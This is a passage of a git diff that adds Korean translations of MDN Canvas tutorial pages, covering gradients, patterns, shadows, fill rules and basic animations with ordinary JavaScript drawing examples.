+  var lingrad2 = ctx.createLinearGradient(0, 50, 0, 95);
+  lingrad2.addColorStop(0.5, '#000');
+  lingrad2.addColorStop(1, 'rgba(0, 0, 0, 0)');
+
+  // 외곽선과 채움 스타일에 그레이디언트를 적용한다
+  ctx.fillStyle = lingrad;
+  ctx.strokeStyle = lingrad2;
+
+  // 도형을 그린다
+  ctx.fillRect(10, 10, 130, 130);
+  ctx.strokeRect(50, 50, 50, 50);
+
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>첫번째 그라디언트는 배경 그라디언트입니다. 보시다시피 같은 위치에 두 가지 색상을 지정했습니다. 매우 선명한 색상 전환을 만들기 위해 이 작업을 수행합니다(이 경우 흰색에서 녹색으로). 일반적으로 색상 중단점을 정의하는 순서는 중요하지 않지만, 이 특별한 경우에는 의미가 있습니다.</p>
+
+<p>두 번째 그래디언트에서는 시작 색상 (위치 0.0)을 지정하지 않았는데, 자동으로 다음 색상 중단점의 색상으로 가정하기 때문에 반드시 필요하지는 않기 때문입니다. 따라서 위치 0.5에 검은색을 지정하면 시작부터 중단점까지 자동으로 검정색 그라이언트를 만듭니다.</p>
+
+<p>{{EmbedLiveSample("A_createLinearGradient_example", "180", "180", "https://mdn.mozillademos.org/files/235/Canvas_lineargradient.png")}}</p>
+
+<h3 id="A_createRadialGradient_example" name="A_createRadialGradient_example"><code>createRadialGradient</code> 예제</h3>
+
+<p>이 예제에서는 원형 그레이디언트를 4개 만들 것입니다. 포토샵같은 프로그램에서 원형 그레이디언트를 만들 때는 하나의 점을 중심으로 그레이디언트를 만드는데, 캔버스의 원형 그레이디언트에서는 시작과 종료 지점 두군데를 제어할 수 있기 때문에, 기존의 프로그램에서 볼 수 있는 원형 그레이디언트보다는 더 복잡한 효과를 만들어 낼 수 있습니다.</p>
+
+<pre class="brush: js;highlight[5,10,15,20]">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // 그라디언트를 생성한다
+  var radgrad = ctx.createRadialGradient(45,45,10,52,50,30);
+  radgrad.addColorStop(0, '#A7D30C');
+  radgrad.addColorStop(0.9, '#019F62');
+  radgrad.addColorStop(1, 'rgba(1,159,98,0)');
+
+  var radgrad2 = ctx.createRadialGradient(105,105,20,112,120,50);
+  radgrad2.addColorStop(0, '#FF5F98');
+  radgrad2.addColorStop(0.75, '#FF0188');
+  radgrad2.addColorStop(1, 'rgba(255,1,136,0)');
+
+  var radgrad3 = ctx.createRadialGradient(95,15,15,102,20,40);
+  radgrad3.addColorStop(0, '#00C9FF');
+  radgrad3.addColorStop(0.8, '#00B5E2');
+  radgrad3.addColorStop(1, 'rgba(0,201,255,0)');
+
+  var radgrad4 = ctx.createRadialGradient(0,150,50,0,140,90);
+  radgrad4.addColorStop(0, '#F4F201');
+  radgrad4.addColorStop(0.8, '#E4C700');
+  radgrad4.addColorStop(1, 'rgba(228,199,0,0)');
+
+  // 도형을 그린다
+  ctx.fillStyle = radgrad4;
+  ctx.fillRect(0,0,150,150);
+  ctx.fillStyle = radgrad3;
+  ctx.fillRect(0,0,150,150);
+  ctx.fillStyle = radgrad2;
+  ctx.fillRect(0,0,150,150);
+  ctx.fillStyle = radgrad;
+  ctx.fillRect(0,0,150,150);
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>이 예제에서는 원형 그레이디언트에 사용되는 두 원의 중심을 달리하여 입체적인 공처럼 보이게 했습니다. 안쪽 원과 바깥쪽 원은 겹치지 않게 하는 것이 좋습니다. 왜냐하면 예상하기 힘든 이상한 결과가 나타날 수 있기 때문입니다.</p>
+
+<p>그레이디언트의 마지막 색 적용 지점에서는 투명도를 적용하였습니다. 투명도가 적용된 지점에서 이전 지점까지의 색 변화를 보기 좋게 만들려면, 두 지점에 똑같은 색을 적용하면 되는데, 이 예제에서는 색의 값을 다른 방식으로 입력하여 헷갈릴 수도 있습니다. 첫번째 그레이디언트에 사용된 <code>#019F62</code>와 <code>rgba(1,159,98,1)</code>은 같은 색입니다.</p>
+
+<p>{{EmbedLiveSample("A_createRadialGradient_example", "180", "180", "https://mdn.mozillademos.org/files/244/Canvas_radialgradient.png")}}</p>
+
+<h2 id="Patterns" name="Patterns">패턴(Patterns)</h2>
+
+<p>이전 페이지의 예제 중 하나에서 일련의 루프를 사용하여 이미지 패턴을 만들었습니다. 그러나 훨씬 간단한 메소드 인 createPattern () 메소드가 있습니다.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.createPattern", "createPattern(image, type)")}}</dt>
+ <dd>새 캔버스 패턴 객체를 만들어 반환합니다. <code>image</code>는 {{domxref("CanvasImageSource")}}(즉, {{domxref("HTMLImageElement")}}, 다른 캔버스, {{HTMLElement("video")}} 요소 등등)입니다. <code>type</code>은 이미지 사용 방법을 나타내는 문자열입니다.</dd>
+</dl>
+
+<p><code>type</code>은 패턴을 만들기 위해 이미지를 사용하는 방법을 지정하며, 다음 문자열 값 중 하나 여야합니다.</p>
+
+<dl>
+ <dt><code>repeat</code></dt>
+ <dd>수직 및 수평 방향으로 이미지를 이어 붙입니다.</dd>
+ <dt><code>repeat-x</code></dt>
+ <dd>수평 방향으로만 이미지를 이어 붙입니다.</dd>
+ <dt><code>repeat-y</code></dt>
+ <dd>수직 방향으로만 이미지를 이어 붙입니다.</dd>
+ <dt><code>no-repeat</code></dt>
+ <dd>이미지를 이어 붙이지 않습니다. 이미지는 한번만 사용됩니다.</dd>
+</dl>
+
+<p>이 메소드를 사용하여 위에서 본 그라디언트 메소드와 매우 유사한 {{domxref ( "CanvasPattern")}} 객체를 생성합니다. 패턴을 생성하면 <code>fillStyle</code> 또는 <code>strokeStyle</code> 속성에 패턴을 할당 할 수 있습니다. 예를 들면 다음과 같습니다.</p>
+
+<pre class="brush: js">var img = new Image();
+img.src = 'someimage.png';
+var ptrn = ctx.createPattern(img, 'repeat');
+</pre>
+
+<div class="note">
+<p><strong>참고:</strong> <code>drawImage ()</code> 메서드와 마찬가지로 이 메소드를 호출하기 전에 이미지가 로드되었는지 확인해야합니다. 그렇지 않으면 패턴이 잘못 그려 질 수 있습니다.</p>
+</div>
+
+<h3 id="A_createPattern_example" name="A_createPattern_example"><code>createPattern</code> 예제</h3>
+
+<p>이 마지막 예제에서, <code>fillStyle</code> 속성에 적용할 패턴을 만들 것입니다. 한 가지 눈여겨 볼 것은, 이미지 <code>onload</code> 핸들러 사용한다는 것입니다. 이미지를 패턴에 적용하기 전에 불러오기가 완료되었는지 확인하는 것입니다.</p>
+
+<pre class="brush: js;highlight[10]">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // 패턴으로 사용할 이미지 오브젝트를 생성한다
+  var img = new Image();
+  img.src = 'https://mdn.mozillademos.org/files/222/Canvas_createpattern.png';
+  img.onload = function() {
+
+    // 패턴을 생성한다
+    var ptrn = ctx.createPattern(img,'repeat');
+    ctx.fillStyle = ptrn;
+    ctx.fillRect(0,0,150,150);
+
+  }
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+
+<p>The result looks like this:</p>
+</div>
+
+<p>{{EmbedLiveSample("A_createPattern_example", "180", "180", "https://mdn.mozillademos.org/files/222/Canvas_createpattern.png")}}</p>
+
+<h2 id="그림자">그림자</h2>
+
+<p>그림자 사용에는 네 개의 속성이 있습니다.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.shadowOffsetX", "shadowOffsetX = float")}}</dt>
+ <dd>그림자가 객체에서 연장되어야하는 수평 거리를 나타냅니다. 이 값은 변환 행렬의 영향을 받지 않습니다. 기본값은 0입니다.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.shadowOffsetY", "shadowOffsetY = float")}}</dt>
+ <dd>그림자가 객체에서 연장되어야하는 수직 거리를 나타냅니다. 이 값은 변환 행렬의 영향을 받지 않습니다. 기본값은 0입니다.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.shadowBlur", "shadowBlur = float")}}</dt>
+ <dd>흐림(blur) 효과의 크기를 나타냅니다. 이 값은 픽셀 수와 일치하지 않으며 현재 변환 행렬의 영향을 받지 않습니다. 기본값은 0입니다.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.shadowColor", "shadowColor = color")}}</dt>
+ <dd>그림자 효과의 색상을 나타내는 표준 CSS 색상 값. 기본적으로 완전 검은색입니다.</dd>
+</dl>
+
+<p><code>shadowOffsetX</code> 및 <code>shadowOffsetY</code> 속성은 그림자가 X 및 Y 방향으로 객체에서 얼마나 멀리 떨어져야하는지 나타냅니다. 이 값은 현재 변환 행렬의 영향을받지 않습니다. 음수값을 사용하면 그림자가 위로 또는 왼쪽으로 확장되고 양수값을 사용하면 그림자가 아래로 또는 오른쪽으로 확장됩니다. 기본값은 모두 0입니다.</p>
+
+<p><code>shadowBlur</code> 속성은 흐림 효과의 크기를 나타냅니다. 이 값은 픽셀 수와 일치하지 않으며 현재 변환 행렬의 영향을받지 않습니다. 기본값은 0입니다.</p>
+
+<p><code>shadowColor</code> 속성은 그림자 효과의 색상을 나타내는 표준 CSS 색상 값입니다. 기본값은 완전 검은색입니다.</p>
+
+<div class="note">
+<p><strong>알아둘 것:</strong> 음영은 <code>source-over</code> <a href="/ko/docs/docs/Web/API/Canvas_API/Tutorial/Compositing">합성 작업</a>에만 사용됩니다.</p>
+</div>
+
+<h3 id="그림자_있는_글자_예제">그림자 있는 글자 예제</h3>
+
+<p>이 예제에서는 그림자가 있는 글자를 그립니다.</p>
+
+<pre class="brush: js;highlight[4,5,6,7]">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  ctx.shadowOffsetX = 2;
+  ctx.shadowOffsetY = 2;
+  ctx.shadowBlur = 2;
+  ctx.shadowColor = "rgba(0, 0, 0, 0.5)";
+
+  ctx.font = "20px Times New Roman";
+  ctx.fillStyle = "Black";
+  ctx.fillText("Sample String", 5, 30);
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="80"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("A_shadowed_text_example", "180", "100", "https://mdn.mozillademos.org/files/2505/shadowed-string.png")}}</p>
+
+<p>다음 장에서 <a href="/ko/docs/Web/API/Canvas_API/Tutorial/Drawing_text">텍스트 그리기</a>에 대한 <code>font</code> 속성과 <code>fillText</code> 메소드를 살펴 보겠습니다.</p>
+
+<h2 id="캔버스_채우기_규칙">캔버스 채우기 규칙</h2>
+
+<p><code>fill</code> (혹은 {{domxref("CanvasRenderingContext2D.clip", "clip")}} 및 {{domxref("CanvasRenderingContext2D.isPointInPath", "isPointinPath")}})을 사용할 때 한 점이 경로 안쪽 또는 바깥에 있는지 그리고 따라서 채워지는지 여부를 결정하기 위한 채우기 규칙 알고리즘을 선택적으로 제공 할 수 있습니다. 경로가 교차하거나 중첩 된 경우에 유용합니다.<br>
+ <br>
+ 다음 두가지 값을 사용할 수 있습니다:</p>
+
+<ul>
+ <li><code><strong>"nonzero</strong></code>": <a href="http://en.wikipedia.org/wiki/Nonzero-rule">non-zero winding rule</a> 알고리즘. 기본값.</li>
+ <li><code><strong>"evenodd"</strong></code>: <a href="http://en.wikipedia.org/wiki/Even%E2%80%93odd_rule">even-odd winding rule</a> 알고리즘.</li>
+</ul>
+
+<p>In this example we are using the <code>evenodd</code> rule.</p>
+
+<pre class="brush: js;highlight[6]">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  ctx.beginPath();
+  ctx.arc(50, 50, 30, 0, Math.PI * 2, true);
+  ctx.arc(50, 50, 15, 0, Math.PI * 2, true);
+  ctx.fill('evenodd');
+}</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="100" height="100"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js"><code>draw();</code></pre>
+</div>
+
+<p>{{EmbedLiveSample("Canvas_fill_rules", "110", "110", "https://mdn.mozillademos.org/files/9855/fill-rule.png")}}</p>
+
+<p>{{PreviousNext("Web/API/Canvas_API/Tutorial/Drawing_shapes", "Web/API/Canvas_API/Tutorial/Drawing_text")}}</p>
diff --git a/files/ko/web/html/canvas/tutorial/basic_animations/index.html b/files/ko/web/html/canvas/tutorial/basic_animations/index.html
new file mode 100644
index 0000000000..457d658172
--- /dev/null
+++ b/files/ko/web/html/canvas/tutorial/basic_animations/index.html
@@ -0,0 +1,310 @@
+---
+title: 기본 애니메이션
+slug: Web/HTML/Canvas/Tutorial/Basic_animations
+tags:
+  - HTML5
+  - 그래픽
+  - 캔버스
+translation_of: Web/API/Canvas_API/Tutorial/Basic_animations
+---
+<p>{{HTMLElement("canvas")}} 요소는 자바스크립트로 제어하는 것이므로, 애니메이션도 쉽게 만들 수 있습니다. 복잡한 애니메이션을 만드는 것은 추가 작업이 더 필요하고, 앞으로 그에 대한 페이지도 머지 않아 추가되기를 기대합니다.</p>
+<p>도형은 한번 만들어 놓으면 그 모습 그대로 있다는 것이 애니메이션을 만들 때의 가장 큰 제약일 것입니다. 그 도형을 움직이고자 하면 그 도형뿐만이 아니라 그 도형이 그려지기 전에 그려진 모든 것을 다시 그려야 합니다. 복잡한 장면을 다시 그리는 것은 시간도 많이 걸리며, 코드를 실행하는 컴퓨터의 능력에 따라 달라집니다.</p>
+<h2 id="Basic_animation_steps" name="Basic_animation_steps">기본 애니메이션 단계</h2>
+<p>한 장면을 그리려면 아래와 같은 단계를 밟습니다.</p>
+<ol>
+ <li><strong>캔버스를 비웁니다.</strong><br>
+  그리려는 도형이 (배경 이미지를 만들 때처럼) 캔버스를 가득 채우는 것이 아니라면, 이전에 그려진 모든 도형을 지울 필요가 있습니다. 가장 쉬운 방법은 <code>clearRect()</code> 메소드를 사용하는 것입니다.</li>
+ <li><strong>캔버스 상태를 저장합니다.</strong><br>
+  캔버스 상태에 영향을 주는 (스타일 변경, 모양 변형 등의) 설정값을 바꾸려고 하고, 바뀐 값을 각 장면마다 사용하려고 한다면, 원래 상태를 저장할 필요가 있습니다.</li>
+ <li><strong>애니메이션할 도형을 그립니다.</strong><br>
+  실제 장면을 그리는 단계입니다.</li>
+ <li><strong>캔버스 상태를 복원합니다.</strong><br>
+  새로운 장면을 그리기 전에 저장된 상태를 복원합니다.</li>
+</ol>
+<h2 id="Controlling_an_animation" name="Controlling_an_animation">애니메이션 제어하기</h2>
+<p>캔버스 메소드를 사용하거나 사용자 함수를 사용하여 캔버스에 도형들을 그립니다. 보통의 경우에서는, 코드 실행이 완료되면 캔버스에 나타나는 결과만을 보게 됩니다. 예를 들어,  <code>for</code> 반복문 안에서 애니메이션을 실행하는 것은 불가능합니다.</p>
+<p>그래서 정해진 시간마다 그리기 함수를 실행하는 방법이 필요한 것입니다. 아래와 같이 애니메이션을 제어하는 두 가지 방법이 있습니다.</p>
+<h3 id="예정된_변경">예정된 변경</h3>
+<p>정해진 시간마다 특정 함수를 부를 때 사용할 수 있는  {{domxref("window.setInterval()")}}과 {{domxref("window.setTimeout()")}} 함수가 있습니다.</p>
+<div class="note">
+ <p>알아둘 것: 현재는 애니메이션을 만드는 방법으로  {{domxref("window.requestAnimationFrame()")}} 메소드를 추천합니다. 이에 대한 튜토리얼은 곧 업데이트할 것입니다.</p>
+</div>
+<dl>
+ <dt>
+  <code>setInterval(<em>function</em>, <em>delay</em>)</code></dt>
+ <dd>
+  <code>delay</code> 밀리세컨드(1,000분의 1초)마다 <code>function</code> 함수 반복 실행을 시작합니다.</dd>
+ <dt>
+  <code>setTimeout(<em>function</em>, <em>delay</em>)</code></dt>
+ <dd>
+  <code>delay</code> 밀리세컨드(1,000분의 1초) 경과후, <code>function</code> 함수를 실행합니다.</dd>
+</dl>
+<p>사용자의 제어를  <strong>필요로 하지 않는</strong> 반복 실행에는  <code>setInterval()</code> 함수가 알맞을 것입니다.</p>
+<h3 id="사용자_상호_작용_변경">사용자 상호 작용 변경</h3>
+<p>애니메이션을 제어하는 두번째 방법은 사용자 입력입니다. 게임을 만들려고 한다면, 애니메이션을 제어하기 위해 키보드나 마우스 이벤트를 사용할 수 있을 것입니다.  {{domxref("EventListener")}}를 설정하여, 사용자와 상호 작용하여 애니메이션 함수를 실행합니다.</p>
+<p>사용자 상호 작용이 <strong>필요하다면</strong>, 우리가 만든 <a href="/en-US/docs/JavaScript/Timers/Daemons" title="/en-US/docs/JavaScript/Timers/Daemons">애니메이션용 프레임웍(framework)</a>의 <a href="/en-US/docs/DOM/window.setInterval#A_little_framework" title="/en-US/docs/DOM/window.setInterval#A_little_framework">최소 기능 버전</a> 또는 <a href="/en-US/docs/JavaScript/Timers/Daemons" title="/en-US/docs/JavaScript/Timers/Daemons">최대 기능 버전</a>을 사용할 수 있을 것입니다.</p>
+<pre>var myAnimation = new MiniDaemon(null, animateShape, 500, Infinity);</pre>
+<p>또는</p>
+<pre>var myAnimation = new Daemon(null, animateShape, 500, Infinity);</pre>
+<p>아래 예제에서는, 애니메이션을 제어하기 위해 {{domxref("window.setInterval()")}}을 사용할 것입니다. 페이지 제일 아래쪽에 {{domxref("window.setTimeout()")}}을 사용한 예제 링크도 있습니다.</p>
+<h4 id="태양계_애니메이션">태양계 애니메이션</h4>
+<p>이 예제에서는 달이 지구를 돌고 지구가 태양을 도는 애니메이션을 만듭니다.</p>
+<pre class="brush: js">var sun = new Image();
+var moon = new Image();
+var earth = new Image();
+function init(){
+  sun.src = 'https://mdn.mozillademos.org/files/1456/Canvas_sun.png';
+  moon.src = 'https://mdn.mozillademos.org/files/1443/Canvas_moon.png';
+  earth.src = 'https://mdn.mozillademos.org/files/1429/Canvas_earth.png';
+  setInterval(draw,100);
+}
+
+function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  ctx.globalCompositeOperation = 'destination-over';
+  ctx.clearRect(0,0,300,300); // 캔버스를 비운다
+
+  ctx.fillStyle = 'rgba(0,0,0,0.4)';
+  ctx.strokeStyle = 'rgba(0,153,255,0.4)';
+  ctx.save();
+  ctx.translate(150,150);
+
+  // 지구
+  var time = new Date();
+  ctx.rotate( ((2*Math.PI)/60)*time.getSeconds() + ((2*Math.PI)/60000)*time.getMilliseconds() );
+  ctx.translate(105,0);
+  ctx.fillRect(0,-12,50,24); // Shadow
+  ctx.drawImage(earth,-12,-12);
+
+  // 달
+  ctx.save();
+  ctx.rotate( ((2*Math.PI)/6)*time.getSeconds() + ((2*Math.PI)/6000)*time.getMilliseconds() );
+  ctx.translate(0,28.5);
+  ctx.drawImage(moon,-3.5,-3.5);
+  ctx.restore();
+
+  ctx.restore();
+
+  ctx.beginPath();
+  ctx.arc(150,150,105,0,Math.PI*2,false); // 지구 궤도
+  ctx.stroke();
+
+  ctx.drawImage(sun,0,0,300,300);
+}
+</pre>
+<div class="hidden">
+ <pre class="brush: html">&lt;canvas id="canvas" width="300" height="300"&gt;&lt;/canvas&gt;</pre>
+ <pre class="brush: js">init();</pre>
+</div>
+<p>{{EmbedLiveSample("An_animated_solar_system", "310", "310", "https://mdn.mozillademos.org/files/202/Canvas_animation1.png")}}</p>
+<h4 id="시계_애니메이션">시계 애니메이션</h4>
+<p>이 예제에서는, 현재 시각을 보여주는 움직이는 시계를 만듭니다.</p>
+<pre class="brush: js">function init(){
+  clock();
+  setInterval(clock,1000);
+}
+
+function clock(){
+  var now = new Date();
+  var ctx = document.getElementById('canvas').getContext('2d');
+  ctx.save();
+  ctx.clearRect(0,0,150,150);
+  ctx.translate(75,75);
+  ctx.scale(0.4,0.4);
+  ctx.rotate(-Math.PI/2);
+  ctx.strokeStyle = "black";
+  ctx.fillStyle = "white";
+  ctx.lineWidth = 8;
+  ctx.lineCap = "round";
+
+  // 시계판 - 시
+  ctx.save();
+  for (var i=0;i&lt;12;i++){
+    ctx.beginPath();
+    ctx.rotate(Math.PI/6);
+    ctx.moveTo(100,0);
+    ctx.lineTo(120,0);
+    ctx.stroke();
+  }
+  ctx.restore();
+
+  // 시계판 - 분
+  ctx.save();
+  ctx.lineWidth = 5;
+  for (i=0;i&lt;60;i++){
+    if (i%5!=0) {
+      ctx.beginPath();
+      ctx.moveTo(117,0);
+      ctx.lineTo(120,0);
+      ctx.stroke();
+    }
+    ctx.rotate(Math.PI/30);
+  }
+  ctx.restore();
+
+  var sec = now.getSeconds();
+  var min = now.getMinutes();
+  var hr  = now.getHours();
+  hr = hr&gt;=12 ? hr-12 : hr;
+
+  ctx.fillStyle = "black";
+
+  // 시간 표시 - 시
+  ctx.save();
+  ctx.rotate( hr*(Math.PI/6) + (Math.PI/360)*min + (Math.PI/21600)*sec )
+  ctx.lineWidth = 14;
+  ctx.beginPath();
+  ctx.moveTo(-20,0);
+  ctx.lineTo(80,0);
+  ctx.stroke();
+  ctx.restore();
+
+  // 시간 표시 - 분
+  ctx.save();
+  ctx.rotate( (Math.PI/30)*min + (Math.PI/1800)*sec )
+  ctx.lineWidth = 10;
+  ctx.beginPath();
+  ctx.moveTo(-28,0);
+  ctx.lineTo(112,0);
+  ctx.stroke();
+  ctx.restore();
+
+  // 시간 표시 - 초
+  ctx.save();
+  ctx.rotate(sec * Math.PI/30);
+  ctx.strokeStyle = "#D40000";
+  ctx.fillStyle = "#D40000";
+  ctx.lineWidth = 6;
+  ctx.beginPath();
+  ctx.moveTo(-30,0);
+  ctx.lineTo(83,0);
+  ctx.stroke();
+  ctx.beginPath();
+  ctx.arc(0,0,10,0,Math.PI*2,true);
+  ctx.fill();
+  ctx.beginPath();
+  ctx.arc(95,0,10,0,Math.PI*2,true);
+  ctx.stroke();
+  ctx.fillStyle = "rgba(0,0,0,0)";
+  ctx.arc(0,0,3,0,Math.PI*2,true);
+  ctx.fill();
+  ctx.restore();
+
+  ctx.beginPath();
+  ctx.lineWidth = 14;
+  ctx.strokeStyle = '#325FA2';
+  ctx.arc(0,0,142,0,Math.PI*2,true);
+  ctx.stroke();
+
+  ctx.restore();
+}</pre>
+<div class="hidden">
+ <pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+ <pre class="brush: js">init();</pre>
+</div>
+<p>{{EmbedLiveSample("An_animated_clock", "180", "180", "https://mdn.mozillademos.org/files/203/Canvas_animation2.png")}}</p>
+<h4 id="움직이는_파노라마_사진">움직이는 파노라마 사진</h4>
+<p>이 예제에서는, 움직이는 파노라마 사진을 만듭니다. 사용할 그림은 위키피디어(Wikipedia)에서 구한 <a href="http://commons.wikimedia.org/wiki/File:Capitan_Meadows,_Yosemite_National_Park.jpg" title="http://commons.wikimedia.org/wiki/File:Capitan_Meadows,_Yosemite_National_Park.jpg">요세미티 국립공원</a>입니다. 캔버스보다 큰 그림을 사용할 수도 있습니다.</p>
+<pre class="brush: js">var img = new Image();
+
+// 변수
+// 스크롤될 이미지, 방향, 속도를 바꾸려면 변수값을 바꾼다.
+
+img.src = 'https://mdn.mozillademos.org/files/4553/Capitan_Meadows,_Yosemite_National_Park.jpg';
+var CanvasXSize = 800;
+var CanvasYSize = 200;
+var speed = 30; // 값이 작을 수록 빨라진다
+var scale = 1.05;
+var y = -4.5; // 수직 옵셋
+
+// 주요 프로그램
+
+var dx = 0.75;
+var imgW;
+var imgH;
+var x = 0;
+var clearX;
+var clearY;
+var ctx;
+
+img.onload = function() {
+    imgW = img.width*scale;
+    imgH = img.height*scale;
+    if (imgW &gt; CanvasXSize) { x = CanvasXSize-imgW; } // 캔버스보다 큰 이미지
+    if (imgW &gt; CanvasXSize) { clearX = imgW; } // 캔버스보다 큰 이미지
+    else { clearX = CanvasXSize; }
+    if (imgH &gt; CanvasYSize) { clearY = imgH; } // 캔버스보다 큰 이미지
+    else { clearY = CanvasYSize; }
+    // 캔버스 요소 얻기
+    ctx = document.getElementById('canvas').getContext('2d');
+    // 새로 그리기 속도 설정
+    return setInterval(draw, speed);
+}
+
+function draw() {
+    // 캔버스를 비운다
+    ctx.clearRect(0,0,clearX,clearY);
+    // 이미지가 캔버스보다 작거나 같다면 (If image is &lt;= Canvas Size)
+    if (imgW &lt;= CanvasXSize) {
+        // 재설정, 처음부터 시작
+        if (x &gt; (CanvasXSize)) { x = 0; }
+        // 추가 이미지 그리기
+        if (x &gt; (CanvasXSize-imgW)) { ctx.drawImage(img,x-CanvasXSize+1,y,imgW,imgH); }
+    }
+    // 이미지가 캔버스보다 크다면 (If image is &gt; Canvas Size)
+    else {
+        // 재설정, 처음부터 시작
+        if (x &gt; (CanvasXSize)) { x = CanvasXSize-imgW; }
+        // 추가 이미지 그리기
+        if (x &gt; (CanvasXSize-imgW)) { ctx.drawImage(img,x-imgW+1,y,imgW,imgH); }
+    }
+    // 이미지 그리기
+    ctx.drawImage(img,x,y,imgW,imgH);
+    // 움직임 정도
+    x += dx;
+}
+</pre>
+<p>예제에 사용된 {{HTMLElement("canvas")}}의 크기는 아래와 같다. 캔버스의 너비가 변수 <code>CanvasXSize</code>값과 같고, 캔버스의 높이는 변수 <code>CanvasYSize</code>값과 같다는 것에 주목하라.</p>
+<pre class="brush: html">&lt;canvas id="canvas" width="800" height="200"&gt;&lt;/canvas&gt;</pre>
+<p><strong>Live sample</strong></p>
+<p>{{EmbedLiveSample("A_looping_panorama", "830", "230")}}</p>
+<h2 id="Other_examples" name="Other_examples">또 다른 예제들</h2>
+<dl>
+ <dt>
+  <a class="external" href="http://www.gartic.net/" title="http://www.gartic.net/">Gartic</a></dt>
+ <dd>
+  다중 사용자 지원 그리기 놀이.</dd>
+ <dt>
+  <a class="external" href="http://www.abrahamjoffe.com.au/ben/canvascape/">Canvascape</a></dt>
+ <dd>
+  3D 어드벤처 게임 (1인칭 슈팅).</dd>
+ <dt>
+  <a href="/en-US/docs/Web/Guide/HTML/A_basic_ray-caster" title="/en-US/docs/Web/Guide/HTML/A_basic_ray-caster">A basic ray-caster</a></dt>
+ <dd>
+  키보드를 사용한 애니메이션 제어 방법에 대한 좋은 예제.</dd>
+ <dt>
+  <a class="external" href="http://andrewwooldridge.com/canvas/canvasgame001/canvasgame002.html">canvas adventure</a></dt>
+ <dd>
+  키보드 제어를 사용하는 또다른 좋은 예제.</dd>
+ <dt>
+  <a class="external" href="http://www.blobsallad.se/">An interactive Blob</a></dt>
+ <dd>
+  물방울 갖고 놀기.</dd>
+ <dt>
+  <a class="external" href="http://arapehlivanian.com/wp-content/uploads/2007/02/canvas.html">Flying through a starfield</a></dt>
+ <dd>
+  별, 동그라미, 네모가 떠다니는 우주를 누벼라.</dd>
+ <dt>
+  <a class="external" href="http://igrapher.com/" title="http://igrapher.com/">iGrapher</a></dt>
+ <dd>
+  주식 시장 자료 차트 예제.</dd>
+</dl>
+<h2 id="이것도_보세요">이것도 보세요</h2>
+<ul>
+ <li><a href="/en-US/docs/JavaScript/Timers" title="/en-US/docs/JavaScript/Timers">JavaScript timers</a></li>
+ <li><a href="/en-US/docs/DOM/window.setInterval#A_little_framework" title="/en-US/docs/DOM/window.setInterval#A_little_framework"><code>setInterval</code> – A little framework</a></li>
+ <li><a href="/en-US/docs/JavaScript/Timers/Daemons" title="/en-US/docs/JavaScript/Timers/Daemons">JavaScript Daemons Management</a></li>
+ <li><a href="/en-US/docs/DOM/HTMLCanvasElement" title="/en-US/docs/DOM/HTMLCanvasElement">HTMLCanvasElement</a></li>
+</ul>
+<p>{{PreviousNext("Web/Guide/HTML/Canvas_tutorial/Compositing", "Web/Guide/HTML/Canvas_tutorial/Optimizing_canvas")}}</p>
diff --git a/files/ko/web/html/canvas/tutorial/basic_usage/index.html b/files/ko/web/html/canvas/tutorial/basic_usage/index.html
new file mode 100644
index 0000000000..f455563e87
--- /dev/null
+++ b/files/ko/web/html/canvas/tutorial/basic_usage/index.html
@@ -0,0 +1,154 @@
+---
+title: 캔버스(Canvas) 기본 사용법
+slug: Web/HTML/Canvas/Tutorial/Basic_usage
+translation_of: Web/API/Canvas_API/Tutorial/Basic_usage
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial", "Web/API/Canvas_API/Tutorial/Drawing_shapes")}}</div>
+
+<div class="summary">
+<p>{{HTMLElement ( "canvas")}} {{Glossary ( "HTML")}} 엘리먼트를 살펴보는 것으로 이 튜토리얼을 시작해 보겠습니다. 이 페이지의 끝에서 캔버스 2D 컨텍스트를 설정하는 방법을 알게되고, 여러분의 브라우저에서 첫 번째 예제를 그리게 될 것입니다.</p>
+</div>
+
+<h2 id="&lt;canvas>_요소"><code>&lt;canvas&gt;</code> 요소</h2>
+
+<pre class="brush: html">&lt;canvas id="tutorial" width="150" height="150"&gt;&lt;/canvas&gt;
+</pre>
+
